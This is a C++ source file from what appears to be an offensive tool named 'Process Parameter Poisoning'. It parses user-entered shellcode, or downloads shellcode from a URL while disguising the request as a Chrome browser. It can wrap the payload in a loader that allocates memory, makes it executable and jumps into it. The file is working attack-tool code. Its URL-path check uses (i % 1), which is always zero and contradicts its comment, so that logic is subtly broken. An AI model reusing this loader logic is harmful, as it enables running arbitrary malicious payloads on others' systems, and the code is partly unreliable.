Files
2026-04-28 13:49:23 +02:00

142 lines
4.5 KiB
C++

/**
* Authors: Max Hirschberger & Ogulcan Ugur
* Project: Process Parameter Poisoning
* Notes: Built with and undefined behavior.
*/
#include "ShellCodeUserInput.h"
#include "ShellCodeWriter.h"
#include "HTTPClient.h"
#include <iostream>
ShellCodeUserInput::ShellCodeUserInput() {}
bool ShellCodeUserInput::ParseNibble(char c, uint8_t& nibble)
{
if (c >= 0x30 && c <= 0x39) {
nibble = c - 0x30;
}
else if (c >= 0x41 && c <= 0x46) {
nibble = c - 0x41 + 10;
}
else if (c >= 0x61 && c <= 0x66) {
nibble = c - 0x61 + 10;
}
else {
return false;
}
return true;
}
bool ShellCodeUserInput::ParseUserShellCode(const std::string& user_shellcode, std::vector<uint8_t>& res, bool& requires_wrap)
{
// Length needs to be a multiple of four
if (user_shellcode.length() % 4) { return false; }
uint8_t current_byte = 0;
bool prev_zero = false;
requires_wrap = false;
for (size_t idx = 0; idx < user_shellcode.size(); idx++)
{
char c = user_shellcode[idx];
switch (idx % 4)
{
case 0: // Backslash
if (c != '\\') { return false; }
break;
case 1: // x
if (c != 'x') { return false; }
break;
case 2: // First nibble
{
uint8_t nibble = 0;
if (!ParseNibble(c, nibble)) { return false; }
current_byte = nibble << 4;
break;
}
case 3: // Second nibble
{
uint8_t nibble = 0;
if (!ParseNibble(c, nibble)) { return false; }
current_byte |= nibble;
if (current_byte == 0 && prev_zero && (idx & 1) == 1) {
requires_wrap = true;
}
res.push_back(current_byte);
prev_zero = current_byte == 0;
break;
}
}
}
return true;
}
std::vector<uint8_t> ShellCodeUserInput::GetConsoleInput()
{
std::string user_shellcode;
std::vector<uint8_t> user_shellcode_bytes;
bool requires_wrap;
while (true)
{
printf("\n[>] Enter your shellcode: ");
std::cin >> user_shellcode;
if (ParseUserShellCode(user_shellcode, user_shellcode_bytes, requires_wrap))
break;
printf("[!] Invalid Shellcode Format, expecting e.g. \\xBa\\xad\\xF0\\x0d\n");
}
if (requires_wrap)
{
// Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
// Using a wrapper that:
// 1. Pushes the shellcode to the stack
// 2. Allocates READWRITE memory
// 3. Copies shellcode from the stack to the newly allocated area
// 4. Changes protection of the newly allocated area to EXECUTE_READ
// 5. Jumps to the newly allocated area
printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
ShellCodeWriter w;
w.LoadAndCallShellCode(user_shellcode_bytes);
return w.GetShellCodeBytes();
}
else {
return user_shellcode_bytes;
}
}
std::vector<uint8_t> ShellCodeUserInput::GetURLInput()
{
//HTTPClient httpClient(L"PPP-Loader/1.0");
HTTPClient httpClient(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36");
wchar_t downloadUrl[1024];
printf("[>] Enter URL: ");
wscanf_s(L" %1023[^\n]", downloadUrl, 1024);
std::vector<uint8_t> user_shellcode_bytes = httpClient.DownloadURL(downloadUrl);
bool requires_wrap = false;
for (size_t i = 1; i < user_shellcode_bytes.size(); i++) {
if ((i % 1) == 0 && user_shellcode_bytes[i - 1] == 0 && user_shellcode_bytes[i] == 0) {
requires_wrap = true;
break;
}
}
if (requires_wrap)
{
// Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
// Using a wrapper that:
// 1. Pushes the shellcode to the stack
// 2. Allocates READWRITE memory
// 3. Copies shellcode from the stack to the newly allocated area
// 4. Changes protection of the newly allocated area to EXECUTE_READ
// 5. Jumps to the newly allocated area
printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
ShellCodeWriter w;
w.LoadAndCallShellCode(user_shellcode_bytes);
return w.GetShellCodeBytes();
}
else {
return user_shellcode_bytes;
}
}